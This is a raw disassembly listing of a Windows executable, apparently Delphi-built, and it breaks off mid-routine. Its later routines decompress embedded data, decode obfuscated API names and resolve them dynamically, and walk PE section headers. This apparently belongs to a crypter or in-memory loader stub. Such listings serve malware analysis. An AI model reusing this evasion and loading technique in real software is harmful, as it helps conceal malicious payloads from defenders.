sub_405D9C+2Cj add esi, 2 loc_405DE7: ; CODE XREF: sub_405D9C+20j cmp esi, 0Ch jge short loc_405DF6 mov al, [edi+esi+6] or al, [edi+esi+7] jnz short loc_405DBE loc_405DF6: ; CODE XREF: sub_405D9C+4Ej pop edi pop esi pop ebx pop ecx pop ebp retn sub_405D9C endp ; =============== S U B R O U T I N E ======================================= sub_405DFC proc near ; CODE XREF: sub_405E14+76p mov eax, ds:dword_40A5A4 cmp eax, 1Fh ja short loc_405E0D bt ds:dword_409264, eax loc_405E0D: ; CODE XREF: sub_405DFC+8j setb al retn sub_405DFC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405E14 proc near ; CODE XREF: sub_405F88+1Ep var_196 = byte ptr -196h var_94 = byte ptr -94h push ebp mov ebp, esp add esp, 0FFFFFE68h push ebx push esi push edi mov ds:dword_40A5A0, 409h mov ds:dword_40A5A4, 9 mov ds:dword_40A5A8, 1 call sub_4031E4 ; GetThreadLocale test eax, eax jz short loc_405E4C mov ds:dword_40A5A0, eax loc_405E4C: ; CODE XREF: sub_405E14+31j test ax, ax jz short loc_405E6C mov edx, eax and dx, 3FFh movzx edx, dx mov ds:dword_40A5A4, edx movzx eax, ax shr eax, 0Ah mov ds:dword_40A5A8, eax loc_405E6C: ; CODE XREF: sub_405E14+3Bj mov esi, offset dword_405F68 mov edi, offset dword_40909C mov ecx, 8 rep movsd cmp ds:dword_409088, 2 jnz loc_405F31 call sub_405DFC test al, al jz short loc_405EA6 mov byte ptr ds:dword_40A5AC+1, 0 mov byte ptr ds:dword_40A5AC, 0 jmp loc_405F5F ; --------------------------------------------------------------------------- loc_405EA6: ; CODE XREF: sub_405E14+7Dj push ebp call sub_405D9C pop ecx mov eax, offset dword_40909C mov edx, offset dword_405F68 mov cl, 20h call sub_401720 setnz bl mov byte ptr ds:dword_40A5AC, bl test bl, bl jz short loc_405ED7 mov byte ptr ds:dword_40A5AC+1, 0 jmp loc_405F5F ; --------------------------------------------------------------------------- loc_405ED7: ; CODE XREF: sub_405E14+B5j mov eax, 80h lea edx, [ebp+var_94] loc_405EE2: ; CODE XREF: sub_405E14+D7j mov [edx], al inc eax inc edx cmp eax, 100h jnz short loc_405EE2 lea eax, [ebp+var_94] lea edx, [ebp+var_196] push edx push 80h push eax push 2 mov eax, ds:dword_40A5A0 push eax call sub_4031DC ; GetStringTypeExA mov eax, 80h lea edx, [ebp+var_196] loc_405F18: ; CODE XREF: sub_405E14+119j cmp word ptr [edx], 2 setz cl mov byte ptr ds:dword_40A5AC+1, cl test cl, cl jnz short loc_405F5F add edx, 2 dec eax jnz short loc_405F18 jmp short loc_405F5F ; --------------------------------------------------------------------------- loc_405F31: ; CODE XREF: sub_405E14+70j push 4Ah call sub_403214 ; GetSystemMetrics test eax, eax setnz al mov byte ptr ds:dword_40A5AC+1, al push 2Ah call sub_403214 ; GetSystemMetrics test eax, eax setnz bl mov byte ptr ds:dword_40A5AC, bl test bl, bl jz short loc_405F5F push ebp call sub_405D9C pop ecx loc_405F5F: ; CODE XREF: sub_405E14+8Dj ; sub_405E14+BEj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_405E14 endp ; --------------------------------------------------------------------------- align 4 dword_405F68 dd 8 dup(0) ; DATA XREF: sub_405E14:loc_405E6Co ; sub_405E14+9Eo ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F88 proc near ; CODE XREF: CODE:00406831p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov ecx, 8 loc_405F90: ; CODE XREF: sub_405F88+Dj push 0 push 0 dec ecx jnz short loc_405F90 push ebx xor eax, eax push ebp push offset loc_406253 push dword ptr fs:[eax] mov fs:[eax], esp call sub_405E14 call sub_404CB0 cmp byte ptr ds:dword_40A5AC, 0 jz short loc_405FBE call sub_404E88 loc_405FBE: ; CODE XREF: sub_405F88+2Fj call sub_4031E4 ; GetThreadLocale mov ebx, eax lea eax, [ebp+var_10] push eax xor ecx, ecx mov edx, 14h mov eax, ebx call sub_404C00 mov edx, [ebp+var_10] mov eax, offset dword_40A4E0 call sub_402338 lea eax, [ebp+var_14] push eax mov ecx, offset dword_406268 mov edx, 1Bh mov eax, ebx call sub_404C00 mov eax, [ebp+var_14] xor edx, edx call sub_403F2C mov ds:byte_40A4E4, al lea eax, [ebp+var_18] push eax mov ecx, offset dword_406268 mov edx, 1Ch mov eax, ebx call sub_404C00 mov eax, [ebp+var_18] xor edx, edx call sub_403F2C mov ds:byte_40A4E5, al mov cl, 2Ch mov edx, 0Fh mov eax, ebx call sub_404C4C mov ds:byte_40A4E6, al mov cl, 2Eh mov edx, 0Eh mov eax, ebx call sub_404C4C mov ds:byte_40A4E7, al lea eax, [ebp+var_1C] push eax mov ecx, offset dword_406268 mov edx, 19h mov eax, ebx call sub_404C00 mov eax, [ebp+var_1C] xor edx, edx call sub_403F2C mov ds:byte_40A4E8, al mov cl, 2Fh mov edx, 1Dh mov eax, ebx call sub_404C4C mov ds:byte_40A4E9, al lea eax, [ebp+var_24] push eax mov ecx, offset dword_406274 mov edx, 1Fh mov eax, ebx call sub_404C00 mov eax, [ebp+var_24] lea edx, [ebp+var_20] call sub_404F38 mov edx, [ebp+var_20] mov eax, offset dword_40A4EC call sub_402338 lea eax, [ebp+var_2C] push eax mov ecx, offset dword_406284 mov edx, 20h mov eax, ebx call sub_404C00 mov eax, [ebp+var_2C] lea edx, [ebp+var_28] call sub_404F38 mov edx, [ebp+var_28] mov eax, offset dword_40A4F0 call sub_402338 mov cl, 3Ah mov edx, 1Eh mov eax, ebx call sub_404C4C mov ds:byte_40A4F4, al lea eax, [ebp+var_30] push eax mov ecx, offset dword_40629C mov edx, 28h mov eax, ebx call sub_404C00 mov edx, [ebp+var_30] mov eax, offset dword_40A4F8 call sub_402338 lea eax, [ebp+var_34] push eax mov ecx, offset dword_4062A8 mov edx, 29h mov eax, ebx call sub_404C00 mov edx, [ebp+var_34] mov eax, offset dword_40A4FC call sub_402338 lea eax, [ebp+var_8] call sub_4022E4 lea eax, [ebp+var_C] call sub_4022E4 lea eax, [ebp+var_38] push eax mov ecx, offset dword_406268 mov edx, 25h mov eax, ebx call sub_404C00 mov eax, [ebp+var_38] xor edx, edx call sub_403F2C test eax, eax jnz short loc_40617C lea eax, [ebp+var_4] mov edx, offset dword_4062B4 call sub_40237C jmp short loc_406189 ; --------------------------------------------------------------------------- loc_40617C: ; CODE XREF: sub_405F88+1E3j lea eax, [ebp+var_4] mov edx, offset dword_4062C0 call sub_40237C loc_406189: ; CODE XREF: sub_405F88+1F2j lea eax, [ebp+var_3C] push eax mov ecx, offset dword_406268 mov edx, 23h mov eax, ebx call sub_404C00 mov eax, [ebp+var_3C] xor edx, edx call sub_403F2C test eax, eax jnz short loc_4061EB lea eax, [ebp+var_40] push eax mov ecx, offset dword_406268 mov edx, 1005h mov eax, ebx call sub_404C00 mov eax, [ebp+var_40] xor edx, edx call sub_403F2C test eax, eax jnz short loc_4061DE lea eax, [ebp+var_C] mov edx, offset dword_4062CC call sub_40237C jmp short loc_4061EB ; --------------------------------------------------------------------------- loc_4061DE: ; CODE XREF: sub_405F88+245j lea eax, [ebp+var_8] mov edx, offset dword_4062DC call sub_40237C loc_4061EB: ; CODE XREF: sub_405F88+222j ; sub_405F88+254j push [ebp+var_8] push [ebp+var_4] push offset dword_4062EC push [ebp+var_C] mov eax, offset dword_40A500 mov edx, 4 call sub_4025A8 push [ebp+var_8] push [ebp+var_4] push offset dword_4062F8 push [ebp+var_C] mov eax, offset dword_40A504 mov edx, 4 call sub_4025A8 mov cl, 2Ch mov edx, 0Ch mov eax, ebx call sub_404C4C mov byte ptr ds:dword_40A5AC+2, al xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40625A loc_406245: ; CODE XREF: sub_405F88+2D0j lea eax, [ebp+var_40] mov edx, 10h call sub_402308 retn ; --------------------------------------------------------------------------- loc_406253: ; DATA XREF: sub_405F88+13o jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_406245 ; --------------------------------------------------------------------------- loc_40625A: ; CODE XREF: sub_405F88+2CAj ; DATA XREF: sub_405F88+2B8o pop ebx mov esp, ebp pop ebp retn sub_405F88 endp ; --------------------------------------------------------------------------- align 10h dd 0FFFFFFFFh, 1 dword_406268 dd 30h, 0FFFFFFFFh, 6 ; DATA XREF: sub_405F88+60o ; sub_405F88+84o ... dword_406274 dd 2F642F6Dh, 7979h, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_405F88+105o dword_406284 dd 6D6D6D6Dh, 202C6420h, 79797979h, 0 ; DATA XREF: sub_405F88+132o dd 0FFFFFFFFh, 2 dword_40629C dd 6D61h, 0FFFFFFFFh, 2 ; DATA XREF: sub_405F88+172o dword_4062A8 dd 6D70h, 0FFFFFFFFh, 1 ; DATA XREF: sub_405F88+194o dword_4062B4 dd 68h, 0FFFFFFFFh, 2 ; DATA XREF: sub_405F88+1E8o dword_4062C0 dd 6868h, 0FFFFFFFFh, 5 ; DATA XREF: sub_405F88+1F7o dword_4062CC dd 504D4120h, 4Dh, 0FFFFFFFFh, 5 ; DATA XREF: sub_405F88+24Ao dword_4062DC dd 4D504D41h, 20h, 0FFFFFFFFh, 3 ; DATA XREF: sub_405F88+259o dword_4062EC dd 6D6D3Ah, 0FFFFFFFFh, 6 ; DATA XREF: sub_405F88+269o dword_4062F8 dd 3A6D6D3Ah, 7373h ; DATA XREF: sub_405F88+286o ; =============== S U B R O U T I N E ======================================= sub_406300 proc near ; CODE XREF: CODE:00406683p push ebx mov ebx, offset dword_409268 jmp short loc_406318 ; --------------------------------------------------------------------------- loc_406308: ; CODE XREF: sub_406300+1Bj mov eax, [ebx] mov edx, [eax] mov [ebx], edx mov edx, 8 call sub_4011C0 loc_406318: ; CODE XREF: sub_406300+6j cmp dword ptr [ebx], 0 jnz short loc_406308 pop ebx retn sub_406300 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_406320 proc near ; CODE XREF: CODE:0040682Cp push ebx push offset dword_406358 call sub_4031C4 ; GetModuleHandleA mov ebx, eax test ebx, ebx jz short loc_406341 push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push ebx call sub_4031CC ; GetProcAddress mov ds:dword_4090C0, eax loc_406341: ; CODE XREF: sub_406320+Fj cmp ds:dword_4090C0, 0 jnz short loc_406354 mov eax, offset sub_403FE4 mov ds:dword_4090C0, eax loc_406354: ; CODE XREF: sub_406320+28j pop ebx retn sub_406320 endp ; --------------------------------------------------------------------------- align 4 dword_406358 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 ; DATA XREF: sub_406320+1o aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_406320+11o ; =============== S U B R O U T I N E ======================================= sub_40637C proc near ; CODE XREF: CODE:0040667Ep mov edx, [eax] xor ecx, ecx mov [eax], ecx mov eax, edx call sub_401A84 retn sub_40637C endp ; --------------------------------------------------------------------------- align 4 dword_40638C dd 1Dh, 409260h, 409378h, 409258h, 409334h, 409250h, 4092ACh ; DATA XREF: CODE:004067F6o dd 409248h, 409388h, 409240h, 40939Ch, 409238h, 4092FCh dd 409230h, 40932Ch, 409228h, 409290h, 409220h, 40933Ch dd 409218h, 409348h, 409210h, 409314h, 409208h, 409318h dd 409200h, 4093C0h, 4091F8h, 4093B8h, 4091F0h, 4093DCh dd 4091E8h, 40936Ch, 4091E0h, 40935Ch, 4091D8h, 4093E0h dd 4091D0h, 4093D0h, 4091C8h, 409324h, 4091C0h, 4093C4h dd 4091B8h, 4093C8h, 4091B0h, 4092E4h, 4091A8h, 4092C0h dd 4091A0h, 409358h, 409198h, 409384h, 409190h, 409294h dd 409188h, 4093BCh, 409180h, 409320h dword_406478 dd 28h, 409178h, 4093B0h, 0 ; DATA XREF: CODE:00406800o dd offset off_409174 dd offset off_4092B0 dd 0 dd offset off_409170 dd offset off_409380 align 10h dd offset off_40916C dd offset off_4092A0 dd 0 dd offset off_409168 dd offset off_4092CC align 8 dd offset off_409164 dd offset off_4092C4 dd 0 dd offset off_409160 dd offset off_4092B8 align 10h dd offset off_40915C dd offset off_40931C dd 0 dd offset off_409158 dd offset off_409368 align 8 dd offset off_409154 dd offset off_4092C8 dd 0 dd offset off_409150 dd offset off_409354 align 10h dd offset off_40914C dd offset off_409398 dd 0 dd offset off_409148 dd offset off_409390 align 8 dd offset off_409144 dd offset off_409370 dd 0 dd offset off_409140 dd offset off_409310 align 10h dd offset off_40913C dd offset off_4092F8 dd 0 dd offset off_409138 dd offset off_40929C align 8 dd offset off_409134 dd offset off_40938C dd 0 dd offset off_409130 dd offset off_409344 align 10h dd offset off_40912C dd offset off_4092F0 dd 0 dd offset off_409128 dd offset off_409338 align 8 dd offset off_409124 dd offset off_409360 dd 0 dd offset off_409120 dd offset off_409340 align 10h dd offset off_40911C dd offset off_409304 dd 0 dd offset off_409118 dd offset off_409298 align 8 dd offset off_409114 dd offset off_409330 dd 0 dd offset off_409110 dd offset off_4093CC align 10h dd offset off_40910C dd offset off_4093AC dd 0 dd offset off_409108 dd offset off_409350 align 8 dd offset off_409104 dd offset off_4092E0 dd 0 dd offset off_409100 dd offset off_4092A4 align 10h dd offset off_4090FC dd offset off_4093A4 dd 0 dd offset off_4090F8 dd offset off_4093E8 align 8 dd offset off_4090F4 dd offset off_4092BC dd 0 dd offset off_4090F0 dd offset off_40928C align 10h dd offset off_4090EC dd offset off_4093B4 dd 0 dd offset off_4090E8 dd offset off_40934C align 8 dd offset off_4090E4 dd offset off_4093D4 dd 0 dd offset off_4090D0 dd offset off_409328 dd 0 dd offset off_4090CC dd offset off_4092E8 dd 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_4067D1 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A5F0 jnz loc_4067C3 mov eax, offset dword_40A5FC call sub_40637C call sub_406300 call sub_405AEC mov eax, offset off_4091B4 mov ecx, 16h mov edx, off_4055C4 call sub_402824 mov eax, offset dword_40917C mov ecx, 7 mov edx, off_405544 call sub_402824 mov eax, offset dword_4090C4 mov ecx, 2 mov edx, off_401000 call sub_402824 mov eax, offset dword_4090BC call sub_4022E4 mov eax, offset dword_40A5EC mov edx, off_403ED8 call sub_402A34 mov eax, offset dword_40A5E8 mov edx, off_403EB4 call sub_402A34 mov eax, offset dword_40A5B0 mov ecx, 7 mov edx, off_401000 call sub_402824 mov eax, offset dword_40A584 mov ecx, 7 mov edx, off_401000 call sub_402824 mov eax, offset dword_40A568 mov ecx, 7 mov edx, off_401000 call sub_402824 mov eax, offset dword_40A538 mov ecx, 0Ch mov edx, off_401000 call sub_402824 mov eax, offset dword_40A508 mov ecx, 0Ch mov edx, off_401000 call sub_402824 mov eax, offset dword_40A504 call sub_4022E4 mov eax, offset dword_40A500 call sub_4022E4 mov eax, offset dword_40A4FC call sub_4022E4 mov eax, offset dword_40A4F8 call sub_4022E4 mov eax, offset dword_40A4F0 call sub_4022E4 mov eax, offset dword_40A4EC call sub_4022E4 mov eax, offset dword_40A4E0 call sub_4022E4 mov eax, offset dword_409098 call sub_4022E4 mov eax, offset dword_409084 call sub_4027D8 mov eax, offset dword_409080 call sub_4022E4 loc_4067C3: ; CODE XREF: CODE:00406673j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4067D8 loc_4067D0: ; CODE XREF: CODE:004067D6j retn ; --------------------------------------------------------------------------- loc_4067D1: ; DATA XREF: CODE:00406662o jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_4067D0 ; --------------------------------------------------------------------------- loc_4067D8: ; CODE XREF: CODE:loc_4067D0j ; DATA XREF: CODE:004067CBo pop ebp retn ; --------------------------------------------------------------------------- align 4 push ebp mov ebp, esp xor eax, eax push ebp push offset loc_406844 push dword ptr fs:[eax] mov fs:[eax], esp sub ds:dword_40A5F0, 1 jnb short loc_406836 mov eax, offset dword_40638C call sub_402180 mov eax, offset dword_406478 call sub_4021A8 cmp ds:byte_40A4BD, 0 jz short loc_406822 mov eax, offset dword_4090BC mov edx, offset dword_406858 call sub_402338 loc_406822: ; CODE XREF: CODE:00406811j call sub_405A68 call sub_405B58 call sub_406320 call sub_405F88 loc_406836: ; CODE XREF: CODE:004067F4j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40684B loc_406843: ; CODE XREF: CODE:00406849j retn ; --------------------------------------------------------------------------- loc_406844: ; DATA XREF: CODE:004067E2o jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_406843 ; --------------------------------------------------------------------------- loc_40684B: ; CODE XREF: CODE:loc_406843j ; DATA XREF: CODE:0040683Eo pop ebp retn ; --------------------------------------------------------------------------- align 10h dd 0FFFFFFFFh, 2 dword_406858 dd 7830h ; DATA XREF: CODE:00406818o ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40685C proc near ; CODE XREF: sub_406870+7Fp jmp ds:dword_40B184 sub_40685C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_406864 proc near ; CODE XREF: sub_406870+25p ; sub_406930+31p ... test eax, eax jz short locret_40686D sub eax, 4 mov eax, [eax] locret_40686D: ; CODE XREF: sub_406864+2j retn sub_406864 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406870 proc near ; CODE XREF: CODE:00408325p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] call sub_4026D0 xor eax, eax push ebp push offset loc_40691D push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+arg_4] call sub_406864 mov ebx, eax cmp ebx, 4 jbe short loc_406900 lea eax, [ebp+arg_4] call sub_40272C mov edi, eax mov edx, [edi] mov eax, esi call sub_402774 cmp dword ptr [edi], 80000h jbe short loc_4068C5 mov [ebp+var_8], 2 jmp short loc_4068CC ; --------------------------------------------------------------------------- loc_4068C5: ; CODE XREF: sub_406870+4Aj mov [ebp+var_8], 102h loc_4068CC: ; CODE XREF: sub_406870+53j lea eax, [ebp+var_4] push eax sub ebx, 4 push ebx lea eax, [ebp+arg_4] call sub_40272C add eax, 4 push eax mov eax, [edi] push eax mov eax, esi call sub_40272C push eax mov eax, [ebp+var_8] push eax call sub_40685C ; RtlDecompressBuffer mov eax, esi mov edx, [ebp+var_4] call sub_402774 jmp short loc_406907 ; --------------------------------------------------------------------------- loc_406900: ; CODE XREF: sub_406870+2Fj mov eax, esi call sub_4022E4 loc_406907: ; CODE XREF: sub_406870+8Ej xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_406924 loc_406914: ; CODE XREF: sub_406870+B2j lea eax, [ebp+arg_4] call sub_4022E4 retn ; --------------------------------------------------------------------------- loc_40691D: ; DATA XREF: sub_406870+17o jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_406914 ; --------------------------------------------------------------------------- loc_406924: ; CODE XREF: sub_406870+ACj ; DATA XREF: sub_406870+9Fo pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn 8 sub_406870 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406930 proc near ; CODE XREF: CODE:00408332p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx push esi push edi xor eax, eax mov [ebp+var_C], eax mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] call sub_4026D0 xor eax, eax push ebp push offset loc_4069F3 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, esi call sub_4022E4 mov eax, [ebp+arg_4] call sub_406864 mov [ebp+var_8], eax mov ebx, 1 cmp ebx, [ebp+var_8] ja short loc_4069D5 loc_406973: ; CODE XREF: sub_406930+A3j mov eax, [ebp+arg_4] mov al, [eax+ebx-1] test al, al jnz short loc_4069B6 mov eax, [ebp+arg_4] mov al, [eax+ebx] mov [ebp+var_1], al mov eax, [esi] call sub_406864 mov edi, eax xor edx, edx mov dl, [ebp+var_1] add edx, edi mov eax, esi call sub_402774 mov eax, esi call sub_40272C add eax, edi xor edx, edx mov dl, [ebp+var_1] xor ecx, ecx call sub_4015C8 inc ebx jmp short loc_4069CF ; --------------------------------------------------------------------------- loc_4069B6: ; CODE XREF: sub_406930+4Cj lea eax, [ebp+var_C] mov edx, [ebp+arg_4] mov dl, [edx+ebx-1] call sub_4024A8 mov edx, [ebp+var_C] mov eax, esi call sub_402564 loc_4069CF: ; CODE XREF: sub_406930+84j inc ebx cmp ebx, [ebp+var_8] jbe short loc_406973 loc_4069D5: ; CODE XREF: sub_406930+41j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4069FA loc_4069E2: ; CODE XREF: sub_406930+C8j lea eax, [ebp+var_C] call sub_4022E4 lea eax, [ebp+arg_4] call sub_4022E4 retn ; --------------------------------------------------------------------------- loc_4069F3: ; DATA XREF: sub_406930+1Co jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_4069E2 ; --------------------------------------------------------------------------- loc_4069FA: ; CODE XREF: sub_406930+C2j ; DATA XREF: sub_406930+ADo pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_406930 endp ; --------------------------------------------------------------------------- align 4 push ebp mov ebp, esp xor eax, eax push ebp push offset loc_406A29 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A600 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_406A30 loc_406A28: ; CODE XREF: CODE:00406A2Ej retn ; --------------------------------------------------------------------------- loc_406A29: ; DATA XREF: CODE:00406A0Ao jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_406A28 ; --------------------------------------------------------------------------- loc_406A30: ; CODE XREF: CODE:loc_406A28j ; DATA XREF: CODE:00406A23o pop ebp retn ; --------------------------------------------------------------------------- align 4 sub ds:dword_40A600, 1 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A3C proc near ; CODE XREF: sub_406B18+362p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, 18h mov edx, [ebp+var_4] movzx edx, word ptr [edx+14h] add eax, edx mov [ebp+var_8], eax mov eax, [ebp+var_8] pop ecx pop ecx pop ebp retn sub_406A3C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A60 proc near ; CODE XREF: sub_406B18+3D5p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax mov eax, [ebp+var_4] shr eax, 1Dh mov eax, ds:dword_40926C[eax*4] mov [ebp+var_8], eax mov eax, [ebp+var_8] pop ecx pop ecx pop ebp retn sub_406A60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A80 proc near ; CODE XREF: sub_406B18+46p ; sub_406B18+6Ap ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE8h xor ecx, ecx mov [ebp+var_18], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_4026D0 xor eax, eax push ebp push offset loc_406B0C push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_40255C test eax, eax jle short loc_406AEE mov [ebp+var_14], eax mov [ebp+var_C], 1 loc_406ABD: ; CODE XREF: sub_406A80+6Cj mov eax, [ebp+var_4] mov edx, [ebp+var_C] mov al, [eax+edx-1] mov [ebp+var_D], al lea eax, [ebp+var_18] mov dl, [ebp+var_D] sub dl, 33h call sub_4024A8 mov edx, [ebp+var_18] mov eax, [ebp+var_8] call sub_402564 mov eax, [ebp+var_8] inc [ebp+var_C] dec [ebp+var_14] jnz short loc_406ABD loc_406AEE: ; CODE XREF: sub_406A80+31j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_406B13 loc_406AFB: ; CODE XREF: sub_406A80+91j lea eax, [ebp+var_18] call sub_4022E4 lea eax, [ebp+var_4] call sub_4022E4 retn ; --------------------------------------------------------------------------- loc_406B0C: ; DATA XREF: sub_406A80+1Co jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_406AFB ; --------------------------------------------------------------------------- loc_406B13: ; CODE XREF: sub_406A80+8Bj ; DATA XREF: sub_406A80+76o mov esp, ebp pop ebp retn sub_406A80 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B18 proc near ; CODE XREF: CODE:0040836Ap var_1BC = dword ptr -1BCh var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h var_1B0 = dword ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = dword ptr -1A8h var_1A4 = dword ptr -1A4h var_1A0 = dword ptr -1A0h var_19C = dword ptr -19Ch var_198 = dword ptr -198h var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = dword ptr -18Ch var_188 = dword ptr -188h var_E4 = dword ptr -0E4h var_D8 = dword ptr -0D8h var_BC = dword ptr -0BCh var_8C = word ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp push ecx mov ecx, 37h loc_406B21: ; CODE XREF: sub_406B18+Ej push 0 push 0 dec ecx jnz short loc_406B21 xchg ecx, [ebp+var_4] push ebx mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+var_8] call sub_4026D0 mov eax, [ebp+var_C] call sub_4026D0 xor eax, eax push ebp push offset loc_406FC8 push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_18C] mov eax, offset dword_406FE4 call sub_406A80 mov eax, [ebp+var_18C] call sub_4026E0 push eax call sub_4031F4 ; LoadLibraryA mov [ebp+var_14], eax lea edx, [ebp+var_190] mov eax, offset dword_406FFC call sub_406A80 mov eax, [ebp+var_190] call sub_4026E0 push eax call sub_4031F4 ; LoadLibraryA mov [ebp+var_18], eax lea edx, [ebp+var_194] mov eax, offset dword_407010 call sub_406A80 mov eax, [ebp+var_194] call sub_4026E0 push eax mov eax, [ebp+var_14] push eax call sub_4031CC ; GetProcAddress mov [ebp+var_40], eax lea edx, [ebp+var_198] mov eax, offset dword_407028 call sub_406A80 mov eax, [ebp+var_198] call sub_4026E0 push eax mov eax, [ebp+var_14] push eax call [ebp+var_40] mov [ebp+var_3C], eax lea edx, [ebp+var_19C] mov eax, offset aZszziesfcvvbzs ; "zv" call sub_406A80 mov eax, [ebp+var_19C] call sub_4026E0 push eax mov eax, [ebp+var_14] push eax call [ebp+var_40] mov [ebp+var_44], eax lea edx, [ebp+var_1A0] mov eax, offset aEsfcgevcsjjasa ; "" call sub_406A80 mov eax, [ebp+var_1A0] call sub_4026E0 push eax mov eax, [ebp+var_14] push eax call [ebp+var_40] mov [ebp+var_48], eax lea edx, [ebp+var_1A4] mov eax, offset aKeZsgevcsjjasa ; "" call sub_406A80 mov eax, [ebp+var_1A4] call sub_4026E0 push eax mov eax, [ebp+var_14] push eax call [ebp+var_40] mov [ebp+var_4C], eax lea edx, [ebp+var_1A8] mov eax, offset aJszziesfcvvbzs ; "v" call sub_406A80 mov eax, [ebp+var_1A8] call sub_4026E0 push eax mov eax, [ebp+var_14] push eax call [ebp+var_40] mov [ebp+var_50], eax lea edx, [ebp+var_1AC] mov eax, offset dword_4070B0 call sub_406A80 mov eax, [ebp+var_1AC] call sub_4026E0 push eax mov eax, [ebp+var_14] push eax call [ebp+var_40] mov [ebp+var_54], eax lea edx, [ebp+var_1B0] mov eax, offset dword_4070C8 call sub_406A80 mov eax, [ebp+var_1B0] call sub_4026E0 push eax mov eax, [ebp+var_14] push eax call [ebp+var_40] mov [ebp+var_58], eax lea edx, [ebp+var_1B4] mov eax, offset aIEzifqgevzsczx ; "x" call sub_406A80 mov eax, [ebp+var_1B4] call sub_4026E0 push eax mov eax, [ebp+var_14] push eax call [ebp+var_40] mov [ebp+var_5C], eax lea edx, [ebp+var_1B8] mov eax, 